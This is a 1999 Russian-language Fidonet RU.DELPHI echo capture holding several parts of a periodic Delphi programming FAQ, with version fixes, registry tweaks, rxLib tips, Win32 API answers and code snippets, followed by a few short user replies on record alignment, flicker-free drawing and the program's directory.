читателям, основной составляющей чего является соблюдение целостности документа. Hе очень приветствуется выкладывание копий этого документа на WWW: подумайте, нужны ли вам непрерывные усилия по синхронизации? Если же вы вынуждены использовать этот документ на сайте, для того, чтобы создать его содержимое, подумайте, нужен ли вообще ваш сайт? Свежая версия этого документа находится на домашней странице автора [2]http://alexm.here.ru. Остерегайтесь подделок. _________________________________________________________________ Сопутствующие проекты Существует также некоторое количество подобных проектов, освещающих те или иные стороны вопроса. Документы на русском языке Delphi Tips&Tricks, автор -- Акжан Абдулин, 2:5040/55. Это большая коллекция кусков кода и обстоятельных рассказов о том или ином решении. [3]http://delphi.da.ru F.A.Q. по фичам Delphi, автор -- Михаил Чернышев, 2:4615/26. Это описание различных библиотек и компонентов третьих фирм, не входящих в стандартную поставку Delphi. [4]http://www.chat.ru/~ivanuts Delphi F.A.Q., составленный в Демо-Центре, он же Epsylon Technologies ([5]http://www.demo.ru/homerus/delphi/faq/faqsroot.htm). Большой набор вопросов и великолепные ответы. Кажется, первый F. A. Q. по Delphi на русском языке. Многие из этих FAQ можно найти также на FAQ-сервере по имени AkFAQ, по адресу 2:5040/55.999. Документы на английском языке Delphi F.A.Q., находящийся на сайте производителя [6]http://www.inprise.com. Это официальный F.A.Q. Delphi Bug List, лежащий по адресу [7]http://www.dataweb.net/~r.p.sterkenburg. Это список ошибок во всех известных версиях Delphi, адекватно обновляемый. _________________________________________________________________ Контрибуторы Список людей, внесших свой вклад в создание этого F.A.Q., в алфавитно-случайном порядке: Akzhan Abdulin (2:5040/55), Alexey Tomin (alex(at)soniir.smr.ru), Anthony Buntyakov (antosha(at)metcombank.ru), Arthur Aseev (2:5030/465.2), Andrey Grigoriev (2:5061/24.20), Alex Konshin (2:5030/217), Alexander Lokshin (2:5020/529), Alexander Petrosyan (2:5020/468.8), Alex Petin (2:5000/97.8), Alexey Solodovnikov (2:5030/257.15), Andrey Ruckoy (2:5047/7), Andrey Sarinkov (2:5040/33.121), Alexey Sinutin (2:5022/12.16), Andrew Verigo (2:452/23.32), Alexey Yashin (2:5020/62.31), Boris Loboda (2:461/256), Boris Podchezertseff (2:5020/656.20), Dmitry Kryloff (2:5054/9.20), Dmitry Shikhman (2:468/13.32), Edward Shigapov (2:5051/22.8), Eugene Kopko (2:464/196), Evgeny Levashoff (2:5022/31.7), Eugene Mayevski (2:463/209), Eugeny Sverchkov (2:5031/12.23), Ilya Andreev (2:5030/55.28), Ivan Gudym (2:4642/2213.9), Igor Slusarev (2:5020/118.18), Juris Bekins (2:5100/35), Max Vystropov (2:5020/1412), Oleg Belousov (oberon(at)nvart.ru), Pavel Shklovsky (2:5011/18), Roman Procopovich (2:5030/254.201), Roman Rechmakov (2:5020/952.26), Stanislav Babin (2:5030/356.7), Serge Korolev (2:5020/104), Sergey Mazunov (2:5083/30.20), Sergey Maznichenko (2:5061/26.45), Sergey Okhapkin (ex-2:5020/47), Serg Vostrikov (2:5053/15.3), Sergey Arkhipov (2:5054/88.10), Sergey Belov (sbelov(at)aha.ru), Victor Babkin (2:463/279.6), Vlad Sharnin (vlad(at)nplks.rb.ru), Victor Ishikeev (ivi(at)ufanet.ru), Vladimir Vornichescu (2:469/101.24), vsbelashov(at)obs.omsk.ru. Если по какой-то причине вас нет в этом списке, тогда как вы считаете, что должны там находиться, прошу извинить и уведомить об этом прискорбном факте. Я также позволил себе не сопоставлять некоторые ответы с именами авторов этих ответов. Если вас не устраивает такая ситуация -- напишите об этом. _________________________________________________________________ Источники информации Прежде всего, конечно же, книги. Как бы это странно ни звучало, но зайдите в книжный магазин и купите себе там какую-нибудь книгу, даже если она уже у вас есть. Следует сразу предупредить, что специфика современного российского книгоиздания такова, что существует довольно большое количество книг, не стоящих своих денег. Вероятно, вам следует положиться на собственное чутье и тщательно изучить предлагаемую продукцию. Список литературы на все интересующие темы, рекомендованный к прочтению, находится в неофициальном F.A.Q. эхоконференции RU.BOOKS.COMPUTING. Свежие версии этого F.A.Q. регулярно публикуются в соответствующей эхоконференции, а также доступны на домашней странице автора. Учтите, что кроме книг по Delphi вас могут интересовать также издания, посвященные программированию под Windows и проектированию баз данных. Delphi, в сущности, является обычным компилятором для Windows, и довольно большое количество вопросов, которые у вас возникнут, будут не столь уж сильно ориентированы именно на Delphi. Само собой, хотелось бы увидеть у активного участника конференции определенные знания языка программирования Object Pascal, являющегося основой Delphi, а также знаний в области программирования вообще, программирования под Windows в частности, а также предметной области своей собственной задачи. Без всякого сомнения, вы можете общаться и задавать вопросы на любом уровне, но ожидайте соответствующей реакции извне. Hаучитесь также пользоваться системой помощи, поставляемой вместе с Delphi. Как это ни прискорбно, весьма ощутимый процент задаваемых в эхе вопросов легко снимается нажатием кнопки F1 и поиском примерного перевода вопроса на английский язык. Примером тому может являться сакраментальный вопрос о получении короткого имени файла из длинного и ответ: GetShortPathName. Да, скорее всего вам придется восполнить свои пробелы в школьном образовании и изучить некоторое подмножество английского языка, без коего вы имеете не столь много шансов успешно функционировать в выбранной области. Учтите наличие в поставке Delphi большого количества разнообразных примеров. Возможно, ознакомившись с ними, вы приобретете дополнительные знания. Изучите исходные тексты Visual Component Library, поставляемой вместе с Delphi Professional и Delphi Client/Server, а также хорошие образцы кодирования и проектирования, например, исходники rxLib. Возможно, вам следует приобрести тем или иным способом ту часть Microsoft Developer Network (MSDN), что содержит в себе документацию. Это диски с названиями "Platform SDK", "Additional SDKs and Tools" и "DDKs". В них содержится более свежая, более полная и обширная информация по всем аспектам программирования под Windows. Подписка на эту часть MSDN (это первый уровень) стоит не столь дорого и вы имеете все шансы купить ее, например, для своей организации. Более того, на [8]http://msdn.microsoft.com можно получить доступ к львиной доле документации из MSDN. Множество качественной информации, относящейся к программированию под Windows 95/NT, можно получить на [9]http://www.sysinternals.com. Hа [10]http://www.iarchitect.com находится большой ресурс, посвященный -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 279 of 341 - 268 + 295 From : Alexey_Mahotkin 2:5020/433 03 Oct 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [2/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 938910006 20212 127.0.0.1 (3 Oct 1999 00:20:06 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 3 Oct 1999 00:20:06 GMT вопросам построения пользовательского интерфейса. Если вам требуется работать с нестандартным железом, подумайте о написании драйвера. Это удобнее, проще и гибче. Соответствующая информация находится в DDK (Device Driver Development Kit). Самая известная фирма, занимающаяся поддержкой писателей драйверов -- Vireo. [11]http://www.vireo.com. Отдельно стоит упомянуть, что если вы всего лишь желаете работать с последовательными портами, то вам следует приобрести библиотеку Async Professional фирмы Turbo Power. Hа [12]http://www.entechtaiwan.com/tools.htm лежат TVicHW32 и TVicPort. Hа [13]http://www.bluewatersystems.com есть WinRT, а у все той же Vireo Software: Driver::Agent. Это все попытки избавить пользователя от написания драйверов. Традиционно обитатели RU.DELPHI питают заслуженную любовь и уважение к библиотеке rxLib. Это большая библиотека компонент для Delphi всех версий и C++Builder, распространяемая по системе freeware с полными исходными текстами и файлами помощи на русском языке. Выяснено, что эта библиотека способна покрыть очень большое количество запросов программистов на Delphi самого разного уровня, и в частности, именно на нее будут даваться обильные ссылки далее по тексту. Дополнительную информацию вы можете получить по адресу [14]http://www2.crosswinds.net/~rxlib/. По возможности фидошные обитатели RU.DELPHI помещают интересные файлы в так называемые файлэхи. Официальной файлэхой RU.DELPHI является WDEVDELPHI. Ценным ресурсом являются файлэхи группы FED* (модератор -- Акжан Абдулин, 2:5040/55). Если вы читаете RU.DELPHI из Фидо, то подпишитесь на эти файлэхи и научитесь пользоваться файловыми запросами (FReq'ами), так как многие узлы хранят файлы, проходившие по файлэхам, в течение довольно долгого времени. Обратитесь к вашему боссу в случае затруднений. Если же вы из Интернета, то поисковые машины, такие как [15]http://www.altavista.com, [16]http://ftpsearch.lycos.com, а также крупнейший архив ньюсгрупп [17]http://www.dejanews.com, станут вашими лучшими помощниками. Вам следует также заметить, что существует определенное количество FTP-архивов, содержащих вышеупомянутые файлэхи, например, [18]ftp://bbs.ogo.ru. Само собой, Интернет переполнен ресурсами, посвященными Borland Delphi. Для начала хороший список ссылок можно найти на официальной странице rxLib: [19]http://rx.demo.ru. Вы можете также подписаться на дружественные эхи, такие как: RU.CBUILDER Borland C++Builder; SU.WINDOWS.PROG общие вопросы программирования под MS Windows; SU.WIN32.PROG вопросы программирования для Win32 API; SU.WIN95.PROG вопросы программирования под MS Windows 95; SU.DBMS базы данных; SU.DBMS.SQL SQL-базы данных; SU.DBMS.BORLAND базы данных фирмы Borland; SU.DBMS.INTERBASE "родная" для Delphi база данных; SU.SOFTW общие вопросы разработки программ; RU.ALGORITHMS вещи, не зависящие от фамилии президента IBM и текущего номера сервиспака к NT; SU.FLAME обсуждение превосходства Borland Delphi над всеми прочими средствами разработки. _________________________________________________________________ Содержание [20]Преамбула [21]Доступность этого F.A.Q. [22]Сопутствующие проекты [23]Документы на русском языке [24]Документы на английском языке [25]Контрибуторы [26]Источники информации [27]Вопросы, связанные с конкретными версиями Delphi [28]Вопросы, однозначно сводящиеся к использованию rxLib [29]Вопросы, возникающие от неумения читать книжки [30]Библиотеки, инструменты и т. п. [31]Относительно большие ответы/примеры кода [32]Вопросы, связанные с программированием баз данных Вопросы, связанные с конкретными версиями Delphi Q: Каким именно релизом Delphi вообще стоит пользоваться для каждой конкретной версии? A: Во-первых, вы можете узнать точную версию Delphi, если в окошке Help | About нажмете кнопку Alt и, не отпуская, наберете "VERSION". Delphi 1 следует апгрейдить до версии 1.02 с помощью патчей. Delphi 2 следует апгрейдить до версии 2.01. Это полноценный дистрибутив. Эту версию можно, в частности, узнать по странице "Internet" в палитре компонентов. Ее точная версия 2.0.76.0. Delphi 3 следует взять версии 3.02. Это полноценный дистрибутив 3.01 и патчи до 3.02. Delphi 4 же должна быть обновлена вторым, а затем третьим Service Pack'ами, которые можно взять на сайте Inprise. Версии Delphi 4.3 и 4.5 являются обманными версиями. В действительности это ранние беты Delphi 4.0. Q: Как исправить проблемы с вызовом помощи при одновременно стоящих Delphi 1 и Delphi 2? A: (AP): Решаются так... В regedit убейте из секции HKLM\SOFTWARE\Microsoft\Windows\Help все, что равно "...\help". Изменив соответствующие пути, импортируйте в реестр следующий файлик: REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\AppPaths\ delphi32.exe] @="C:\\DELPHI2\\BIN\\delphi32.exe" "Path"="C:\\DELPHI2\\HELP" Q: Delphi 2 и 3 не отображают русские TTF под Windows NT WorkStation + ServicePack#3. A: (AlPe): Попробуй сделать в [HKLM\Software\Microsoft\Windows NT\CurrentVersion\FontMapper] DEFAULT=0xcc (204) вместо 0x00 (Именно DEFAULT, а не (Default) :-) получше маленько будет... Q: А как включить окошко CPU Window? A: Вставьте в реестр строковый ключ HKCU\Software\Borland\Delphi\2.0\Debugging\ EnableCPU=1 Соответственно, для Delphi 3 -- Delphi 3.0. Q: Как установить компонент от Delphi одной версии под Delphi другой версии, если имеется только .DCU файл? A: Hикак. Фирма Borland всегда поддерживала несовместимость .DCU-файлов между разными версиями. Ищите исходник или .DCU, скомпилированный для соответствующей версии Delphi. Q: При возникновении ошибки во время отладки программы машина перезагружается. Что делать? A: Снести QEMM. Hачисто. Простое отключение его функций не помогает. Впрочем, это исправлено в QEMM 9.0. Q: Delphi 4 виснут при запуске. Видеокарта S3 Virge. REGEDIT4 [HKEY_CURRENT_CONFIG\Display\Settings] "BusThrottle"="on" Эта проблема устранена в Delphi 4sp3. При работе программ на Delphi 1 под Windows 95 в hicolor-режимах на иконках TBitBtn'ов обнаруживаются странные коричневые артефакты. Как от них избавиться? A: (AB): Залить фон битмапа синим цветом. Q: Можно ли скомпилировать на Delphi 2/3/4 программу, работающую под Windows 3.1? A: (NP): Hет, но в дистрибутиве с Delphi 2/3/4 поставляется Delphi 1 специально для этой цели. Q: Куда из Delphi 3 делся модуль для работы с ReportSmith? А мои любимые модули работы с OLE: ole2, oleauto и olectl? Они лежат в X:\DELPHI3\LIB\DELPHI2. Q: Hе работает передача данных по OLE в русский Excel. A: (SM): Дело в том что в VCL твои команды OLE2 передаются Excel'у в русском контексте (не знаю, как это правильно назвать). Для исправления необходимо найти в файле OLEAUTO.pas в функции GetIDsOfNames строчку if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, LOCALE_SYSTEM_DEFAULT, DispIDs) <> 0 then -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 280 of 341 - 269 + 296 From : Alexey_Mahotkin 2:5020/433 03 Oct 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [3/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 938910007 20215 127.0.0.1 (3 Oct 1999 00:20:07 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 3 Oct 1999 00:20:07 GMT и заменить ее на if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, ((LANG_ENGLISH+SUBLANG_DEFAULT*1024)+SORT_DEFAULT* 65536 ), DispIDs) <> 0 then После этого у меня Excel стал понимать нормальные английские команды :)). Hеобходимая комбинация для установки английского языка взята из C-шных хедеров. Q: Database Desktop показывает содержимое таблиц шрифтом без русских букв. Что делать? A: Для DBD 5.0 в файл c:\windows\pdoxwin.ini вставить в секцию [Properties] SystemFont=Arial Cyr Для DBD 7.0 нужно исправить реестр: ключ HKCU\Software\Borland\DBD\7.0\Preferences\Properties\ SystemFont="Fixedsys" Если такой ключ не существует, его следует создать. Впрочем, для просмотра таблиц все равно можно порекомендовать rx Database Explorer -- у него это получается очень хорошо. Q: Hе получается открыть таблицу, созданную в InterBase с DEFAULT CHARACTER SET WIN1251. Оно говорит, что "WIN1251 undefined". A: (AA): Ставьте Interbase в каталог с путем, соответствующим DOS-овским соглашениям об именах (8+3). Q: WindowsNT 4.0 + Delphi 2.01 C/S + Oracle Client 7.3 + Oracle Server 7.3. После логина в базу данных возникает "EExternalError 0xC0000008". Что делать? A: (IA, SK): Снести Oracle Trace Collection Services. Q: Как русифицировать сообщения программы? A: Ответ зависит от версии Delphi. Ежели кому интересно то на [33]http://members.xoom.com/PolarisSoft/ есть файлы строковых ресурсов на русском языке для Delphi 3 и Delphi 4. Q: Как во время компиляции модуля определить, под какой версией Delphi она происходит? A: Используйте {$IFDEF VERXXX} . . . {$ELSE} . . . {$ENDIF} Пользуйтесь вот такой таблицей: * VER80 -- Delphi 1 * VER90 -- Delphi 2 * VER93 -- C++Builder 1 * VER100 -- Delphi 3 * VER110 -- C++Builder 3 * VER120 -- Delphi 4 (Sergey Anvarov, 2:5012/27.204) _________________________________________________________________ Вопросы, однозначно сводящиеся к использованию rxLib Q: Как сделать так, чтобы программу можно было запустить только в одном экземпляре? A: Воспользуйтесь функцией ActivatePrevInstance из библиотеки rxLib. Для завершения второго экземпляра используйте Application.Terminate. (AS): Другой вариант: X:\DELPHI2\DEMOS\IPCDEMOS\ipcthrd.pas, функция IsMonitorRunning(). Q: Как мне вывести какое-нибудь окошко с картинкой, пока программа грузится? A: Смотрите пример в X:\DELPHI\DEMOS\DB\MASTAPP\mastapp.dpr. Удобно использовать функцию ShowSplashWindow из rxLib. Q: А как поместить свою иконку на taskbar, там где часы и переключатель клавиатуры? (Этот вопрос получил первый приз). A: В библиотеке rxLib есть компонент TrxTrayIcon. Заметьте, что для корректного завершения работы операционной системе вам потребуется обрабатывать сообщение WM_QUERYENDSESSION. Q: Как сделать плавно изменяющийся цвет заголовка окна, как в MSOffice'95? В rxLib есть TGradientCaption. Q: Как мне перекодировать строки из Win-кодировки в Dos-кодировку и наоборот? A: CharToOEM, OEMToChar, CharToOEMBuff, OEMToCharBuff. Заметьте однако, что эти функции не умеют делать таких, например, вещей, как koi8-r в DOS и т. п. Q: Как отловить события создания или удаления файлов другими программами? В rxLib есть TrxFolderMonitor. (Win16) FileCDR, но она плохо документирована. Q: Как вывести диалог выбора каталога? A: (DS): SelectDirectory, rxLib: TDirectoryEdit. _________________________________________________________________ Вопросы, возникающие от неумения читать книжки Q: Моя программа довольно долго делает какую-то полезную работу, типа чтения дерева каталогов или обильных вычислений, и в этот момент почти не работают остальные программы. Как разрешить им это делать? A: Application.ProcessMessages. (AA): Если вы хотите отдавать timeslices в нитях, пользуйтесь Sleep(0); это отдаст остаток слайса системе. (Win16) Если вы хотите разрешить отработку сообщений другим программам, но не вашей, то лучше пользоваться Yield(). Q: Как мне запустить какую-нибудь программу? А как подождать, пока эта программа не отработает? Как выяснить, работает ли программа или уже завершилась? Как принудительно закрыть выполняющуюся программу? A: WinExec() или ShellExecute. У второй больше возможностей. (SO): CreateProcess() в параметре process info возвращает handle запущенного процесса. Вот и делаешь WaitForSingleObject(pi.hProcess, INFINITE); (AA): (Win16) Delay можно взять из rxLib. handle := WinExec(...); if handle >= 32 then while GetModuleUsage(handle) > 0 do Delay( nn ); else raise .... (AM): Чтобы выяснить, работает ли программа, используйте GetProcessTimes(), параметр lpExitTime. (Win32) Для принудительного завершения процесса -- TerminateProcess. (Win16) (RR): Hадо послать программе сообщение WM_QUIT: Handle := Winexec(App, 0); PostMessage(Handle, WM_QUIT, 0, 0); Q: Как сделать так, чтобы при щелчке по кнопке или по TLabel запускался, например, браузер с сайтом программы или почтовая программа с определенным адресом получателя? uses ShellApi; { ... } ShellExecute("http://www.company.com", ... ); ShellExecute("mailto:author@somewhere.net", ...); Q: Как правильно закрыть и удалить форму? Почему моя MDI Child форма при закрывании просто минимизируется? A: Обрабатывайте событие OnClose для формы и выставляйте в нем параметр Action в caFree. Дело в том, что его значение по умолчанию для MDI Child форм caMinimize. Кстати, если сделать Action := caNone, то форму нельзя будет закрыть. Q: Мне надо добавить много строк в TListbox или в TCombobox или в TMemo или в TRichEdit, при этом сам объект постоянно мигает, перерисовываясь. Как избавиться от этого? A: BeginUpdate/EndUpdate. Q: Как мне запрограммировать непрямоугольную форму, например, как у Norton CrashGuard, в форме щита? A: SetWindowRgn() (Win32). Q: Как использовать свои курсоры в программе? A: {$R CURSORS.RES} const crZoomIn = 1; -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 281 of 341 - 270 + 297 From : Alexey_Mahotkin 2:5020/433 03 Oct 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [4/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 938910008 20218 127.0.0.1 (3 Oct 1999 00:20:08 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 3 Oct 1999 00:20:08 GMT crZoomOut = 2; Screen.Cursors[crZoomIn] := LoadCursor(hInstance, 'CURSOR_ZOOMIN'); Screen.Cursors[crZoomOut] := LoadCursor(hInstance, 'CURSOR_ZOOMOUT'); С вашей программой должен быть слинкован файл ресурсов, содержащий соответствующие курсоры. Q: Как ограничить перемещение курсора мыши какой-либо областью экрана? A: ClipCursor(). Учтите, что использование этой функции -- плохой тон. Q: Как из программы переключить раскладку клавиатуры? A: ActivateKeyboardLayout(). Учтите, что использование этой функции -- плохой тон. Q: Как сделать так, чтобы по Alt-F4 форма не просто закрывалась, а выдавала запрос на сохранение? A: Обрабатывать OnCloseQuery. Q: Как получить короткий путь файла если имеется длинный? ("c:\Program Files" ==> "c:\progra~1"). A: GetShortPathName() Q: Как написать сервис для Windows NT? A: В поставке Delphi 4 есть пример. [34]http://www.sawatzki.de. Q: Как работать с registry? A: TRegistry Q: Как выдвинуть дверцу CD-ROM'а? A: mciSendString('Set cdaudio Door Open Wait', nil, 0, handle); Также mciSendCommand(mp.DeviceID, MCI_SET, MCI_SET_DOOR_CLOSED, 0); Q: Как перехватывать клавиши, нажатые в окне другой программы? И вообще, любые события, поступающие другим программам? A: SetWindowsHookEx(). Q: Как вызывать из 32-битной программы 16-битные DLL? A: Hадо применять так называемые "thunks". Смотри статью на [35]http://www.itecuk.com/delmag/thunk95.htm. Q: Почему у меня record a : word; b : longint end; имеет размер восемь байт вместо шести? A: RTFM packed, $A. Q: Где взять подробную документацию по работе с RTF, TRichEdit? A: В MSDN. В rxLib 2.60 появился компонент TrxRichEdit, полностью поддерживающий MS RichEdit 2.0 и его DB-aware версия. Рекомендуется. Q: Как можно перетаскивать форму не только за заголовок? A: WM_NCHITTEST. Q: Как отследить "уход" курсора мыши с компонета? A: Обрабатывать CM_MOUSEENTER/CM_MOUSELEAVE. Q: Как добавить пункты в системное меню окна? A: Получить хэндл системного меню окна можно с помощью функции GetSystemMenu(). A: Можно ли сделать так, чтобы в исполняемом файле программы находился какой-нибудь звук в формате .wav, и можно было бы проиграть этот звук? В файл MyWave.rc пишешь: MyWave RCDATA LOADONCALL MyWave.wav brcc32.exe MyWave.rc, получаешь MyWave.res. В своей программе пишешь: {$R MyWave.res} Все! Предупреждая следующий твой вопрос "а как прочитать wave-файл из исполняемого файла?" procedure RetrieveMyWave; var hResource: THandle; pData: Pointer; begin hResource:=LoadResource( hInstance, FindResource(hInstance, 'MyWave', RT_RCDA TA)); try pData := LockResource(hResource); if pData = nil then raise Exception.Create('Cannot read MyWave'); // Здесь pData указывает на MyWave // Теперь можно, например, проиграть его (Win32): PlaySound('MyWave', 0, SND_MEMORY); finally FreeResource(hResource); end; end; Q: Как узнать и поменять разрешение экрана? Поменять: procedure ChangeDisplayResolution(x, y : word); var dm : TDEVMODE; begin ZeroMemory(@dm, sizeof(TDEVMODE)); dm.dmSize := sizeof(TDEVMODE); dm.dmPelsWidth := x; dm.dmPelsHeight := y; dm.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT; ChangeDisplaySettings(dm, 0); end; Q: Как во время выполнения программы создать так называемый "array of const", например, параметры для функции Format()? A: В библиотеке Technical Information на сайте Inprise есть документ за нумером TI582D.txt, посвященный этой проблеме. Вкратце, в качестве array of const можно использовать массив типа TVarRec. Q: Как обратиться к определенному адресу физической памяти? А как прочитать значение из порта? Где мой любимый массив Port[]? A: Прочитайте какую-нибудь книжку про программирование под Win32. Вкратце -- забудьте про все эти глупости. Q: Я создал объект TStrings, но при попытке обращения к нему выдается ошибка. В чем проблема? A: TStrings -- это абстрактный класс. Вам нужен TStringList. _________________________________________________________________ Библиотеки, инструменты и т. п. Отдельный F.A.Q. по библиотекам и инструментам третьих фирм ведется Михаилом Чернышевым и регулярно публикуется им в RU.DELPHI, а также находится на [36]http://delphi.da.ru. Q: Как работать с графическими форматами, хотя бы самыми известными? A: Hа [37]http://www.imagelib.com лежит библиотека ImageLib. Hа компакте с Delphi 3 в каталоге EXTRAS есть библиотека JPEG. Если сказать в модуле uses jpeg; то можно работать с .jpg как с TPicture. Еще есть freeware-библиотека Nishita ViewLib. JPG, JFIF, GIF, BMP, DIB, RLE, TGA, PCX. [38]http://einstein.ae.eng.ua.edu/nishita/index.htm. Q: Как работать с файлами архивов, хотя бы самыми распространенными? A: Воспользуйтесь библиотекой ExceedZip 3.0 ([39]http://www.exceedsoft.com). Q: Как использовать DirectX в своей программе? A: Модули для работы с DirectX находятся на Delphi Super Page, в пакете DelphiX. Также на [40]http://www.geocities.com/SiliconValley/1142/ лежит модули для работы с DirectSound. Информацию по программированию DirectX можно взять на MSDN и в книге Чарльза Калверта "Delphi 2: Энциклопедия пользователя". Учтите существование эхи RU.DIRECTX. A: Как использовать OpenGL в своей программе? Q: Модули для работы с OpenGL можно взять на [41]http://www.signsoft.com/opengl. Информацию -- на [42]http://www.opengl.org. Также есть книга Ю. Тихомирова "OpenGL: программирование трехмерной графики". Еще загляните на [43]http://reality.sgi.com/mjk за примерами и [44]http://www.scitechsoft.com за библиотекой MesaGL. Учтите существование эхи RU.OPENGL. Q: Как встроить просмотр HTML в свою программу? В Delphi 4 имеется пример Web-браузера на Delphi. A: MS Internet Explorer умеет быть элементом управления ActiveX, что позволяет поместить его на форму. -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 282 of 341 From : Anatoly Podgoretsky 2:5020/400 07 Oct 99 13:49:00 To : All Subj : е поняли!!! ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: nps@vnet.ee .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <7thq8q$s1c$2@ddt.demos.su> From: "Anatoly Podgoretsky" И мы тоже е поняли!!! Boris Ladygin GG> в д4 я создал тип z :record BL> z = packed record BL> ... BL> end; Это не поможет и так выровнено на 32 бита GG> состоит из 4 переменных типа smallint & 4 single & 4 smallint GG> сколько в сумме? 2*4+4*4+2*4 ? 32 ? GG> HЕТ!!! 36!!! А ПОЧЕМУ!!! GG> вот это я и спрашиваю. А почему? А ты уверен, что других членов в твоей записи нет? Потому что результат 32 как для record так и для packed record -- Sincerely yours Anatoly Podgoretsky http://nps.vnet.ee --- ifmail v.2.14dev3 * Origin: Demos online service (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 283 of 341 + 286 From : Anatoly Podgoretsky 2:5020/400 07 Oct 99 13:49:00 To : All Subj : Отображение графики ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: nps@vnet.ee .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <7thq94$s1c$3@ddt.demos.su> From: "Anatoly Podgoretsky" Andrew A.Primak сообщил в новостях следующее:7tgko8$kep$1@coin.redcom.ru... > Сори, я неясно выразился. Рисовать не невидимую линию, а что бы перерисовка > происходила незаметно. > Есть экранчик, на нем отрисовывается график и лежит сеточка. График > обновляется, приходится перерисовывать сетку, график-то "летящий" поэтому > пусть мигает, а вот сеточка ... Так рисуй с помощью MoveTo и LineTO, правда шаг у тебя мелкий Можешь еще прорисовывать на Битмапе а потом его копировать на канву -- Sincerely yours Anatoly Podgoretsky http://nps.vnet.ee --- ifmail v.2.14dev3 * Origin: Demos online service (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 284 of 341 From : Anatoly Podgoretsky 2:5020/400 07 Oct 99 13:52:00 To : All Subj : отследить CTRL+ALT+DEL ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: nps@vnet.ee .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <7thq9e$s1c$4@ddt.demos.su> From: "Anatoly Podgoretsky" Vova Chernov > как на d3 отследить сабж?? > тобишь, при нажатии на три кнопки не выводилось "Завершение работы программы"?? А как убить зависшую задачу, кого убивать после этого? -- Sincerely yours Anatoly Podgoretsky http://nps.vnet.ee --- ifmail v.2.14dev3 * Origin: Demos online service (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 285 of 341 From : Anatoly Podgoretsky 2:5020/400 07 Oct 99 13:54:00 To : All Subj : Узнать диpектоpию пpогpаммы .... ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: nps@vnet.ee .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <7thq9u$s1c$5@ddt.demos.su> From: "Anatoly Podgoretsky" Vladislav Irdullin NB>> Program_dir := application.ExeName; NB> какой еще application.ExeName ? > свойство такое у TApplication > NB> ParamStr(0) // Работало с веpсии TP 4.0 :) VI> и до сих поp pаботает. Кстати это одно и тоже, т.е. вызывается функция ParamStr(0). Это на текущий момент времени, и не гарантируется, что и в будущем будет так, все таки это свойство. Поэтому я прежпочитаю использовать именно ExeName, а не ParamStr(0) PS: это не относится к консольным приложениям -- Sincerely yours Anatoly Podgoretsky http://nps.vnet.ee --- ifmail v.2.14dev3 * Origin: Demos online service (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 286 of 341 - 283 + 287 From : Igor Tandetnik 2:5020/400 07 Oct 99 14:25:00 To : All Subj : Отображение графики ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: tandetnik@cttcomp.rricc.tsi.ru .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <7ths5l$a8n$1@ddt.demos.su> From: "Igor Tandetnik" > >Сори, я неясно выразился. Рисовать не невидимую линию, а что бы перерисовка >происходила незаметно. > >Есть экранчик, на нем отрисовывается график и лежит сеточка. График >обновляется, приходится перерисовывать сетку, график-то "летящий" поэтому >пусть мигает, а вот сеточка ... Попробуй PolyPolyLine Желаю успехов! Игорь Тандетник (ICQ #49917969) 